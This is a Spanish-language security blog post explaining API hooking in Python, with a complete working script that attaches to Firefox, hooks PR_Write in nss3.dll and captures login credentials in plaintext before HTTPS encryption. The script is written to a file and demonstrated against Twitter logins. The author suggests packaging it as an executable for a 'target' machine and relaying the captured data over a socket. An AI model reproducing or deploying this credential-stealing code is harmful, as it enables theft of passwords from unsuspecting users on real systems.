Se me cayo un exploit

SEGURIDAD INFORMÁTICA

HACKING . PROGRAMACIÓN . ELECTRÓNICA . GNU/LINUX

Se me cayó un exploit en tu server.... por @UnaPibaGeek

[email protected]:~$ ./Ingeniería-Inversa

Ingeniería inversa de TODO! Necesito saber cómo están hechas las cosas :)

API Hooking con Python

hooking_smc1e.png

Bueno bueno, demasiada dulzura con el tema de San Valentín hoy, me cansaron, hasta Google está romántico! Vamos a cortar un poco la onda con un post técnico :P no se asusten con el título, sé que el tema de API Hooking puede sonar como algo difícil de hacer y probablemente lo primero que se les venga a la mente sea un debugger! y no está mal ya que, a menos que conozcamos de antemano la función que queremos hookear, tendremos que usar esta herramienta para analizar el proceso y dar con tal información. Sin embargo, quiero compartirles un script en python que escribí hoy, el cual con pocas líneas de código nos va a permitir sacar provecho de un API Hooking.

Antes que nada, pido disculpas a los expertos en el área de reversing que puedan estar leyendo esto, ya que pienso explicarlo de forma extremadamente sencilla y sin términos tan técnicos, de manera que aquellos que ésta no sea su área de expertise, puedan entenderlo perfectamente.

Bien, para el ejemplo realicé el hook a Firefox, puntualmente a la función PR_Write de nss3.dll. Dicha función es utilizada por el navegador para escribir los datos que va a enviar a través del socket, con destino al servidor web con el que se está comunicando. Hookeando esta función lo que haremos será extraer de la memoria la información que va a enviar, donde por supuesto se encuentran las peticiones POST que nuestro navegador realiza, y dentro del contenido de estas peticiones podríamos ver, por ejemplo, credenciales de acceso.

Aquí surge la pregunta: ¿Qué pasa si la web va por HTTPS? ¿Podríamos obtener esas credenciales en texto claro igual? Si! y eso es lo bueno de esta técnica, ya que el hook es a nivel aplicación y estamos obteniendo tales datos antes de que bajen en capas y sean cifrados en la comunicación con el servidor.

Explicada brevemente la teoría, pasemos a la práctica:

El target es un Windows con Firefox, como vamos a desarrollar nuestro script ahí, necesitamos tener instalado Python 2.7 y además la librería que vamos a usar que es winappdbg y podemos descargarla desde aquí: http://winappdbg.sourceforge.net/. No se preocupen por estas dependencias, al final utilizaremos py2exe para convertir nuestro hook.py a hook.exe con todas las dependencias incluídas.

Vamos al código:

En las primeras líneas importamos lo necesario:

import sys
from winappdbg import Debug, EventHandler, System, Process



La siguiente parte de código, que después de todo quedará al final del script, se ocupará en primer lugar de crear una instancia del objeto Debug y attachear el proceso del navegador web, cuyo PID obtenemos utilizando las funciones: debug.system.find_processes_by_filename y process.get_pid(). Si quisieramos attachearnos a otro proceso simplemente reemplazamos el "firefox.exe" por "el_proceso_deseado.exe".

debug = Debug(MyEventHandler())
try:
    for (process,name) in debug.system.find_processes_by_filename("firefox.exe"):
        debug.attach(process.get_pid())
        debug.loop()
    
finally:
    debug.stop()



Arriba del código anterior (y antes de la importación de librerías) vamos a agregar la clase de "MyEventHandler" en la cual vamos a indicar la función que vamos a hookear de la correspondiente DLL que en este caso, como ya mencionamos, es PR_Write de nss3.dll.

class MyEventHandler(EventHandler):

    def load_dll(self,event):
        
        module = event.get_module()
        if module.match_name("nss3.dll"):
            addr = module.resolve("PR_Write")
            pid = event.get_pid()
            
            event.debug.hook_function(pid,addr,preCB=PR_Write,postCB=None,paramCount=3,signature=None)



Estos nombres pueden ser modificados por la "dll" y "función" que deseen hookear, aunque deben tener en cuenta que en la última línea algunas cosas van a cambiar: donde vemos "preCB=PR_Write" es la función que se va a ejecutar cada vez que se realice el hook. La misma la definiremos en las próximas líneas de código. Por otro lado "paramCount=3" es la cantidad de parámetros propios de esa función, los cuales podemos encontrarlos en la documentación de Mozilla: https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR/Reference/PR_Write.

Arriba de la clase que acabamos de escribir (y antes de la importación de librerías) vamos a definir la función PR_Write, que como ya mencioné, es la función que se va a procesar cada vez que se ejecute el hook.

data = ""
def PR_Write(event,ra,fd,buf,amount):
    
    global data
    data = data + process.read(buf,1024)
    
    if "redirect_after_login=%2F" in data:
        try:
            file = open("dump.txt","w")
            file.write(data)
            file.close()
            debug.stop()
        
        except Exception, e:
            pass 



Como consultamos en la documentación de Mozilla, el parámetro que nos interesa es "buf" ya que es el buffer donde se escribe la data que queremos extraer de la memoria. Lo que estamos haciendo en las líneas expuestas arriba es almacenar ese buffer en una variable global llamada "data". Las líneas que vienen inmediatamente después, donde vemos "if "redirect_after_login=%2F" in data:" son totalmente modificables, la idea es poner algo que frene al debug y nos muestre los datos de la memoria o los escriba en un txt. En este caso yo puse "redirect_after_login=%2F" porque es un dato que se envía por POST junto a las credenciales de Twitter cuando el usuario presiona el botón "Iniciar Sesión", por lo tanto, una vez que la función hookeada escribe los datos del usuario en memoria, este script se detiene, escribe los mismos en un archivo txt llamado "dump.txt" y detiene la ejecución del debug finalizando el script.

Si abrimos ese txt, encontramos al final del mismo la siguiente información:



Ahora bien, como ya mencioné, dentro del script podemos cambiar el "redirect_after_login=%2F" por otra variable que identifique el momento en que se transmitió el dato que queremos obtener. En otro escenario, si estamos utilizando el script en una maquina remota, podemos quitar ese "if" y en lugar de escribir el dump en un txt local, podemos abrir un socket ahí mismo y hacer un relay en tiempo real de toda la información que vamos extrayendo de la memoria a través de este API Hooking.

Bueno, finalmente podemos pasar nuestro hook.py a hook.exe utilizando py2exe: http://www.py2exe.org/. Así no nos preocupamos por si el target tiene python instalado y la librería del dbg.

A continuación dejo el script completo y además un video-demo del mismo en funcionamiento, donde se obtienen las credenciales en texto claro de Twitter.

Video: https://youtu.be/AMc7JvaLsWY.

Script completo:

import sys
from winappdbg import Debug, EventHandler, System, Process

data = ""
def PR_Write(event,ra,fd,buf,amount):
    
    global data
    data = data + process.read(buf,1024)
    
    if "redirect_after_login=%2F" in data:
        try:
            file = open("dump.txt","w")
            file.write(data)
            file.close()
            debug.stop()
        
        except Exception, e:
            pass
        
class MyEventHandler(EventHandler):

    def load_dll(self,event):
        
        module = event.get_module()
        if module.match_name("nss3.dll"):
            addr = module.resolve("PR_Write")
            pid = event.get_pid()
            
            event.debug.hook_function(pid,addr,preCB=PR_Write,postCB=None,paramCount=3,signature=None)

debug = Debug(MyEventHandler())
try:
    for (process,name) in debug.system.find_processes_by_filename("firefox.exe"):
        debug.attach(process.get_pid())
        debug.loop()
    
finally:
    debug.stop()

¿Te cansaste de leer? Tomate un café (share):

Fecha: 14/02/2017

¡Suscribite!

Aprendé más en...